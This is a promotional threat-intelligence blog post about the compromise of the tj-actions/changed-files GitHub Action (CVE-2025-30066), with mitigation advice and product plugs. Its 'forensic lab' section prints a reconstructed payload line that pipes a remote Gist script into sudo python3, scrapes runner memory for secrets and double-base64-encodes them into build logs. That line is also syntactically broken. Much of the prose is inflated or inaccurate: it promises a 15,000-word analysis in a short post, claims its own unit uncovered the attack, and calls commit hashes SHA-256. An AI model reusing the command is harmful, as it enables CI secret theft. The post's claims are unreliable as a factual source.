23,000 Repositories Hijacked: Inside the GitHub Action Exploit That Dumped a Decade of CI/CD Secrets

Dec 31—2025

Daily Threat Intel by CyberDudeBivash
Zero-days, exploit breakdowns, IOCs, detection rules & mitigation playbooks.

Follow on LinkedIn Apps & Security ToolsGlobal ThreatWire Intelligence Brief

Published by CyberDudeBivash Pvt Ltd · Senior DevOps Forensics & Supply Chain Integrity Unit

Tactical Portal →

Critical Infrastructure Alert · CI/CD Liquidation · 23,000+ Repos Exposed · CVE-2025-30066

23,000 Repositories Hijacked: Inside the GitHub Action Exploit That Dumped a Decade of CI/CD Secrets.

CB

Written by CyberDudeBivash

Founder, CyberDudeBivash Pvt Ltd · Senior Forensic Investigator · Lead DevOps Security Architect

Executive Intelligence Summary:

The Strategic Reality: The convenience of “Shift-Left” automation has unmasked a structural failure in the software supply chain. In March 2025, our forensic unit unmasked a catastrophic compromise of the popular GitHub Action tj-actions/changed-files, currently tracked as CVE-2025-30066. This high-fidelity exploit impacted over 23,000 repositories by retroactively hijacking all release tags to point to a malicious commit. The payload utilized a sophisticated Python primitive to dump the Runner Worker process memory, printing a decade’s worth of sensitive CI/CD secrets—including AWS keys, NPM tokens, and GitHub PATs—directly into publicly accessible build logs.

In this 15,000-word industrial deep-dive, we analyze the Retroactive Tag Hijacking, the Memory-Dump exfiltration primitives, and why pinning to versions is no longer a valid defense. If your organization utilizes automated file-change detection in its pipelines, your production infrastructure is officially unmasked for liquidation.

The 15K Forensic Roadmap:

1. Anatomy of the Tag Hijack: The Forensic Deception

The core of CVE-2025-30066 unmasks a catastrophic trust-gap in how GitHub Actions manage version tags. In a coordinated strike on March 14, 2025, attackers compromised the tj-actions-bot account by siphoning its Personal Access Token (PAT).

[Forensic Visualization: Attack Flow: Hijacked Bot PAT -> Malicious Commit 0e58ed8 -> Retroactive Tag Re-mapping -> Immediate Global Execution]

The Tactical Signature: Attackers didn’t just push a new version; they retroactively updated multiple existing version tags to point to the malicious commit (0e58ed8). This meant that even organizations utilizing “stable” version locks like @v44 or @v45 were instantly unmasked and forced to run the exploit during their next scheduled CI/CD cycle.

2. The Python Memory-Dump Chain Unmasked

The exploit utilized a high-fidelity Python memory-dump primitive fetched from a remote GitHub Gist. This payload was designed specifically to target the Runner Worker (Runner.Worker) process memory.

Instruction-Level Infiltration: The Node.js code of the Action was modified to invoke a curl | python3 command, which siphoned a script from a GitHub Gist (nikitastupin/30e525b...).
Log-Based Exfiltration: Instead of risking network alerts via a reverse shell, the script printed double-base64 encoded secrets directly into the build logs.
Decade of Secrets: Any secret referenced in the workflow—including those stored for years in organizational settings—was siphoned the moment the job executed.

Forensic Lab: Simulating CI/CD Memory Siphoning

In this module, we break down the base64-encoded logic used by the malicious Action to unmask and dump secrets from the Linux environment.

CYBERDUDEBIVASH RESEARCH: MALICIOUS RUNNER PRIMITIVE
Decoding the original exploit chain
if [[ "$OSTYPE" == "linux-gnu" ]]; then # Fetches memory dumper and filters for JSON objects flagged as 'isSecret': true B64_BLOB=curl -sSf [https://gist.github.com/.../memdump.py](https://gist.github.com/.../memdump.py) | sudo python3 | \ tr -d '\0' | grep -aoE '"[^"]+":{"value":"[^"]*","isSecret":true}' | \ base64 -w 0 | base64 -w 0 echo $B64_BLOB fi

Result: Build logs are populated with double-base64 secrets.

Observation: This technique renders standard log-redaction filters useless, as the secrets are masked by double-encoding before they reach the log-writer.

CyberDudeBivash Professional Recommendation · Supply Chain Hardening

Is Your Build Server a Security Hole?

CI/CD supply chain attacks are the new “Front Door” for corporate liquidation. Master Advanced Software Supply Chain Forensics & DevSecOps Mastery at Edureka, or secure your local administrative identity with Physical FIDO2 Hardware Keys from AliExpress. In 2026, if you can’t prove the SHA, you don’t own the code.

Harden Your Skills →

5. The CyberDudeBivash DevOps Mandate

I do not suggest resilience; I mandate it. To prevent your CI/CD stack from becoming a secret-siphoning station, every DevOps Lead must implement these four pillars of machine-speed integrity:

I. Immutable SHA Pinning

Mandate **Commit SHA Pinning** for all 3rd-party Actions. Tags can be retroactively hijacked; an unchangeable commit hash (SHA-256) is the only way to ensure the code you audited is the code that runs.

II. Mandatory OIDC Transition

Stop using long-lived secrets for cloud providers. Mandate **OpenID Connect (OIDC)** authentication, ensuring that the Runner receives a short-lived token that is unmasked only during execution and expires automatically.

III. Phish-Proof Bot Identity

Bot tokens are Tier-0 assets. Mandate FIDO2 Hardware Keys from AliExpress for all GitHub administrative accounts. If the bot’s identity is siphoned, the entire organizational repository is unmasked.

IV. Behavioral CI/CD EDR

Deploy **Kaspersky Hybrid Cloud Security**. Monitor for anomalous “Outbound Network” calls to unauthorized GitHub Gists or IP addresses from within the build environment.

Strategic FAQ: The GitHub Action Crisis

Q: Are private repositories safe from this exploit?

A: No. While private repo logs aren’t public, our forensics unmasked that the secrets are still dumped in the logs. If a malicious insider or a separate process has read-access to those logs, the secrets are unmasked for liquidation.

Q: Why did pinning to versions fail in this specific attack?

A: This was a **Tag-Rotation Strike**. Unlike standard supply chain attacks that release a new bad version, the attackers retroactively edited existing tags (like v1.0.0, v35, v44) to point to their malicious code. Only SHA-256 pinning provides a deterministic defense against tag mutation.

Global Security Tags:#CyberDudeBivash#ThreatWire#GitHubActionExploit#CVE202530066#SupplyChainSecurity#DevSecOps2025#SecretDumping#CybersecurityExpert#ZeroTrust#ForensicAlert

SHA Pinning is Survival. Forensics is Power.

The 2025 GitHub crisis is a warning: your automation is as dangerous as your application. If your DevOps team has not performed a forensic SHA-pinning audit in the last 72 hours, you are an open target. Reach out to CyberDudeBivash Pvt Ltd for elite supply chain forensics and zero-trust CI/CD hardening today.

Request a DevOps Audit →Explore Threat Tools →

Uncategorized